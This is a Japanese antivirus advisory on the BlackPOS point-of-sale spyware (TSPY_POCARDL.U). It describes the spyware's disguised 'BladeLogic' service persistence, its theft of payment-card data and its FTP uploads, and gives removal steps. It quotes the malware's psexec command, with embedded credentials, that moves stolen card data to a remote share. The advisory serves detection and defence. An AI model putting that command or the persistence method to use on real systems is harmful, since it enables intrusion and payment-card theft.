TSPY_POCARDL.U

2014年8月29日
 更新者 : Jimelle Monteser

 別名:

Win32/Spy.POSCardStealer.R (ESET-NOD32), Trojan:Win32/Ploscato.A (Microsoft), Infostealer.Reedum.B (Symantec)

 プラットフォーム:

Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: スパイウェア
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

スパイウェアは、「BlackPOS」としても知られています。

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、感染コンピュータや感染ユーザから特定の情報を収集します。


  詳細

ファイルサイズ 114,688 bytes
タイプ EXE
メモリ常駐 なし
発見日 2014年1月17日
ペイロード URLまたはIPアドレスに接続

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のファイルを作成します。

  • {malware path}\cmd.txt - contains ftp login information,deleted afterwards.

自動実行方法

スパイウェアは、自身をシステムサービスとして登録し、Windows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
ImagePath = "{malware path}\{malware filename}.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
Type = "110"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic
ErrorControl = "0"

他のシステム変更

スパイウェアは、以下のレジストリキーを追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\BladeLogic\Enum

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_BLADELOGIC

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_BLADELOGIC\
0000

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_BLADELOGIC\
0000\Control

情報漏えい

スパイウェアは、以下の情報を収集します。

  • Credit/Debit Card Information

情報収集

スパイウェアは、以下のファイル内に収集した情報を保存します。

  • {malware path}\data_{year}_{month}_{day}_{hour}_{minute}.txt - deleted afterwards

情報の送信先

スパイウェアは、以下のFTPサイトにファイルをアップロードします。

  • {BLOCKED}.{BLOCKED}.204.182
  • {BLOCKED}.{BLOCKED}.167.144

その他

スパイウェアが作成する、FTPのログイン情報を含む以下のファイルは、その後削除されます。

  • {malware path}\cmd.txt

スパイウェアが収集する情報は、クレジットカードやデビットカードの情報です。

スパイウェアが収集した情報を保存する以下のファイルは、後に削除されます。

  • {malware path}\data_{year}_{month}_{day}_{hour}_{minute}.txt

スパイウェアは、以下のコマンドを介して、情報を収集します。

psexec /accepteula \\{BLOCKED}.{BLOCKED}.240.31 -u
ttcopscli3acs\Best1_user -p BackupU$r
cmd /c taskill /IM bladelogic.exe /F
move \\{BLOCKED}.{BLOCKED}.240.31\NT\twain_32a.dll
{malware path}\data_{year}_{month}_{day}_{hour}_{minute}.txt

スパイウェアは、情報を収集する前に現地時間が午前10時から午後5時の間であるかを毎時確認します。


  対応方法

対応検索エンジン: 9.700
初回 VSAPI パターンバージョン 10.546.03
初回 VSAPI パターンリリース日 2014年1月17日
VSAPI OPR パターンバージョン 10.547.00
VSAPI OPR パターンリリース日 2014年1月18日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 3

このレジストリキーを削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    • BladeLogic
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root
    • LEGACY_BLADELOGIC

手順 4

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • data_{year}_{month}_{day}_{hour}_{minute}.txt
  • {malware path}\cmd.txt

手順 5

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「TSPY_POCARDL.U」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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